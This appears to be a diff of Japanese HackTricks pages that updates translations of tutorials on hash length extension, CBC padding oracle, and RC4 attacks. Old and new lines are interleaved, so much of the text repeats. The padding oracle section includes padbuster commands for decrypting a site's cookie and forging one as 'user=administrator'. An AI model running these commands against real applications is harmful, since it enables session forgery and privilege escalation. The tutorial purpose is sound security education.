<summary><strong>AWS ハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks にあなたの**会社を広告掲載したい場合や、**HackTricks を PDF でダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォロー**する。
* **HackTricks** の GitHub リポジトリ [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) に PR を提出して、あなたのハッキングのコツを共有する。
</details>

View file

@ -1,42 +1,42 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
# 攻撃の概要 # 攻撃の概要
サーバーが**秘密**を既知のクリアテキストデータに**追加**してそのデータをハッシュ化することで、ある**データ**に**署名**していると想像してください。以下が分かっている場合: あるサーバーが、既知のクリアテキストデータに**秘密を追加**してそのデータをハッシュ化していると想像してください。以下を知っている場合:
* **秘密の長さ**(これは与えられた長さ範囲からもブルートフォースできます) * **秘密の長さ**(これは与えられた長さ範囲からもブルートフォースできます)
* **クリアテキストデータ** * **クリアテキストデータ**
* **アルゴリズム(そしてそれがこの攻撃に対して脆弱である** * **アルゴリズム(およびこの攻撃に脆弱**
* **パディングが分かっている** * **パディングが既知**
* 通常、デフォルトのものが使用されるので、他の3つの要件が満たされていれば、これも満たされます * 通常、デフォルトのものが使用されるため、他の3つの要件が満たされている場合、これも満たされます
* パディングは秘密+データの長さによって異なるため、秘密の長さが必要です * パディングは秘密+データの長さに応じて異なります。そのため、秘密の長さが必要です
その場合、**攻撃者**は**データ**を**追加**して、**以前のデータ + 追加されたデータ**に対する有効な**署名**を**生成**することが可能です。 その後、**攻撃者**は**データを追加**し、**以前のデータ+追加されたデータ**の有効な**署名**を**生成**することが可能です。
## どのように? ## 方法
基本的に脆弱なアルゴリズムは、まず**データブロックをハッシュ化**し、その後、**以前に生成されたハッシュ**(状態)から、次のデータブロックを**追加**して**ハッシュ化**します。 基本的に脆弱なアルゴリズムは、まず**データブロックをハッシュ**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータブロックを追加**して**ハッシュ**します。
例えば、秘密が"secret"でデータが"data"の場合、"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ たとえば、秘密が「secret」でデータが「data」であるとします。"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
攻撃者が文字列"append"を追加したい場合、彼は以下のことができます 攻撃者が文字列「append」を追加したい場合
* 64個の"A"のMD5を生成する * 64個の「A」のMD5を生成する
* 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する * 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する
* 文字列"append"を追加する * 文字列「append」を追加する
* ハッシュを完了し、結果のハッシュは"secret" + "data" + "padding" + "append"に対して**有効なものになります** * ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」のための**有効なもの**になります
## **ツール** ## **ツール**
@ -44,19 +44,19 @@ HackTricksをサポートする他の方法:
# 参考文献 # 参考文献
この攻撃についてよく説明されているのは[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で見つけることができます。 この攻撃について詳しく説明されている[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>

View file

@ -1,21 +1,21 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する** * **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
# CBC - Cipher Block Chaining # CBC - Cipher Block Chaining
CBCモードでは、**前の暗号化されたブロックがIVとして使用され**、次のブロックとXORされます CBCモードでは、**前の暗号化されたブロックが次のブロックとXOR演算**するためにIVとして使用されます:
![CBC encryption](https://defuse.ca/images/cbc\_encryption.png) ![CBC encryption](https://defuse.ca/images/cbc\_encryption.png)
@ -23,14 +23,14 @@ CBCを復号するには、**逆の操作**が行われます:
![CBC decryption](https://defuse.ca/images/cbc\_decryption.png) ![CBC decryption](https://defuse.ca/images/cbc\_decryption.png)
**暗号化キー**と**IV**の使用が必要であることに注意してください。 **暗号化キー**と**IV**を使用する必要があることに注意してください。
# メッセージパディング # メッセージパディング
暗号化は**固定サイズのブロック**で行われるため、通常、**最後のブロック**を完成させるために**パディング**が必要です。 暗号化は**固定サイズのブロック**で行われるため、通常は**最後のブロックを完了するためにパディングが必要**です。\
通常は**PKCS7**が使用され、ブロックを完成させるために必要な**バイト数を繰り返す**パディングが生成されます。例えば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 通常は**PKCS7**が使用され、パディングはブロックを完了するために**必要なバイト数を繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
**8バイト長の2ブロック**の例をもっと見てみましょう: **長さ8バイトの2つのブロック**を持つさらなる例を見てみましょう:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -39,70 +39,70 @@ CBCを復号するには、**逆の操作**が行われます:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
最後の例では、**最後のブロックがいっぱいだったので、パディングのみで別のブロックが生成された**ことに注意してください。 最後の例では、**最後のブロックが完全だったため、パディングのみで別のブロックが生成**されたことに注意してください。
# Padding Oracle # パディングオラクル
アプリケーションが暗号化されたデータを復号するとき、まずデータを復号し、次にパディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な挙動を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な挙動には、**エラー**、**結果の欠如**、または**応答の遅延**が含まれます。 アプリケーションが暗号化されたデータを復号化すると、まずデータを復号化し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作をトリガー**した場合、**パディングオラクルの脆弱性**があります。検出可能な動作は**エラー**、**結果の欠如**、または**応答の遅延**などが考えられます。
この挙動を検出した場合、暗号化されたデータを**復号する**ことができ、さらに任意の**クリアテキストを暗号化する**こともできます。 この動作を検出した場合、**暗号化されたデータを復号**し、さらに**任意のクリアテキストを暗号化**することができます。
## どのように悪用するか ## 悪用方法
この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行います。
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
サイトのクッキーが脆弱かどうかをテストするために、次の方法を試すことができます: サイトのクッキーが脆弱かどうかをテストするためには、次のような方法があります:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**エンコーディング0****base64** が使用されていることを意味します(他にも利用可能なものがあります。ヘルプメニューを確認してください)。 **エンコーディング0**は、**base64**が使用されていることを意味します(他にも利用可能なものがあります。ヘルプメニューを確認してください)。
また、この脆弱性を悪用して新しいデータを暗号化することもできます。例えば、クッキーの内容が "**_**user=MyUsername**_**" だった場合、それを "\_user=administrator\_" に変更してアプリケーション内で権を昇格させることができます。`paduster` を使用して -plaintext パラメータを指定することでこれを行うこともできます: この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が "**_**user=MyUsername**_**" であるとします。その場合、"\_user=administrator\_" に変更してアプリケーション内で権を昇格させることができます。`paduster`を使用して、-plaintext**パラメータを指定して行うこともできます。
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
サイトが脆弱である場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error** パラメータを使用してエラーメッセージを指定することもできます。 もしサイトが脆弱性を持っている場合、`padbuster`は自動的にパディングエラーが発生するときを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
## 理論 ## 理論
**要約すると**、異なる**パディング**を作成するために使用できる正しい値を推測することから、暗号化されたデータの復号化を開始できます。次に、パディングオラクル攻撃は、**1、2、3などのパディングを作成する**正しい値が何かを推測しながら、最後から始めるバイトを復号化し始めます。 **要約すると**、異なるパディングを作成するために使用できる正しい値を推測して、暗号化されたデータの復号化を開始できます。その後、パディングオラクル攻撃は、**1、2、3などのパディングを作成する正しい値を推測**して、最後から最初に向かってバイトを復号化し始めます。
![](<../.gitbook/assets/image (629) (1) (1).png>) ![](<../.gitbook/assets/image (629) (1) (1).png>)
**2ブロック**にわたって配置された暗号化されたテキストがあると想像してください。これは、**E0からE15**までのバイトで構成されています。\ 暗号化されたテキストが**E0からE15**までのバイトで形成される**2つのブロック**を占めていると想像してください。\
**最後のブロック****E8**から**E15**)を**復号化**するために、全ブロックが「ブロック暗号復号」を通過し、**中間バイトI0からI15**を生成します。\ **最後のブロック****E8**から**E15**)を**復号化**するために、ブロック全体が「ブロック暗号の復号化」を通過し、**中間バイトI0からI15**が生成されます。\
終的に、各中間バイトは前の暗号化されたバイトE0からE7と**XOR**されます。したがって に、各中間バイトは前の暗号化されたバイトE0からE7と**XOR**されます。つまり
* `C15 = D(E15) ^ E7 = I15 ^ E7` - `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` - `C14 = I14 ^ E6`
* `C13 = I13 ^ E5` - `C13 = I13 ^ E5`
* `C12 = I12 ^ E4` - `C12 = I12 ^ E4`
* ... - ...
今、`E7`を変更して`C15`が`0x01`になるまで**修正することが可能**です。これも正しいパディングになります。したがって、この場合:`\x01 = I15 ^ E'7` 今、`C15`が`0x01`になるまで`E7`を変更することが可能で、これも正しいパディングになります。したがって、この場合`\x01 = I15 ^ E'7`
E'7を見つける、**I15を計算することが可能**です:`I15 = 0x01 ^ E'7` したがって、`E'7`を見つけると、**I15を計算することが可能**です:`I15 = 0x01 ^ E'7`
これにより、**C15を計算することができます**`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` これにより、**C15を計算**することが可能になります`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**を知っていると、今度は`\x02\x02`のパディングをブルートフォースすることで**C14を計算することが可能**です。 **C15**を知っていると、**C14を計算**することができますが、この時はパディング`\x02\x02`をブルートフォースします。
このBFは、0x02の値を持つ`E''15`を計算できるため、前のものと同じくらい複雑です:`E''7 = \x02 ^ I15`。したがって、**`C14`が`0x02`に等しい** **`E'14`**を見つけるだけで済みます。\ このBFは前のものと同じくらい複雑です。0x02の値を持つ`E''15`を計算できるためです:`E''7 = \x02 ^ I15`なので、**`C14が0x02に等しい`**`E'14`を見つけるだけです。\
その後、C14を復号化するために同じ手順を実行します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** その後、同じ手順を実行してC14を復号化します**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**この連鎖を続けて、暗号化されたテキスト全体を復号化します。** **このチェーンに従って、暗号化されたテキスト全体を復号化します。**
## 脆弱性の検出 ## 脆弱性の検出
アカウントを登録し、このアカウントでログインします。\ アカウントを登録し、このアカウントでログインします。\
もし何度**ログインしても常に同じクッキー**を受け取る場合、アプリケーションに**何か問題**がある可能性が高いです。ログインするたびに**クッキーはユニークであるべき**です。クッキーが**常に同じ**場合、おそらく常に有効であり、**無効にする方法はありません** **何度もログイン**しても**常に同じクッキー**を取得する場合、アプリケーションにはおそらく**何か問題**があります。ログインするたびに送信されるクッキーは**一意であるべき**です。クッキーが**常に同じ**であれば、おそらく常に有効であり、**無効にする方法はない**でしょう
今、クッキーを**変更**してみると、アプリケーションから**エラー**が返されることがわかります。\ 次に、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返ってくることがわかります。\
しかし、パディングをブルートフォースする例えばpadbusterを使用と、別のユーザーのための有効な別のクッキーを取得することができます。このシナリオは、padbusterに対して高い確率で脆弱であると考えられます。 ただし、パディングをBFするとたとえばpadbusterを使用、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオはpadbusterに対して非常に脆弱性がある可能性が高いです。
# 参考文献 # 参考文献
@ -111,14 +111,14 @@ E'7を見つけることで、**I15を計算することが可能**です:`I15
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。 * **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、自分のハッキングトリックを共有する
</details> </details>

View file

@ -1,40 +1,22 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* あなたの**会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する * **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
もし何らかの方法でRC4を使用して平文を暗号化できるなら、そのRC4で暗号化された任意のコンテンツを(同じパスワードを使用して)暗号化機能を使って復号化することができます。 もしRC4を使って平文を暗号化できるなら、同じパスワードを使って暗号化されたコンテンツを復号化することができます。
既知の平文を暗号化できる場合、パスワードも抽出できます。より多くの参考情報はHTB Kryptosマシンで見つけることができます: 既知の平文を暗号化できる場合、パスワードも抽出できます。詳細はHTB Kryptosマシンで見つけることができます
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* あなたの**会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
</details>

View file

@ -1,33 +1,17 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details> </details>
* [Write-up factory](https://writeup.raw.pm/) - Write-upを検索するエンジンTryHackMe, HackTheBoxなど * [Write-up factory](https://writeup.raw.pm/) - Write-upsを見つけるための検索エンジンTryHackMe、HackTheBoxなど
* [CTFtime Write-ups](https://ctftime.org/writeups) - CTFtimeのCTFイベントに追加された最新のWrite-up * [CTFtime Write-ups](https://ctftime.org/writeups) - CTFイベントに追加された最新のWrite-ups
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
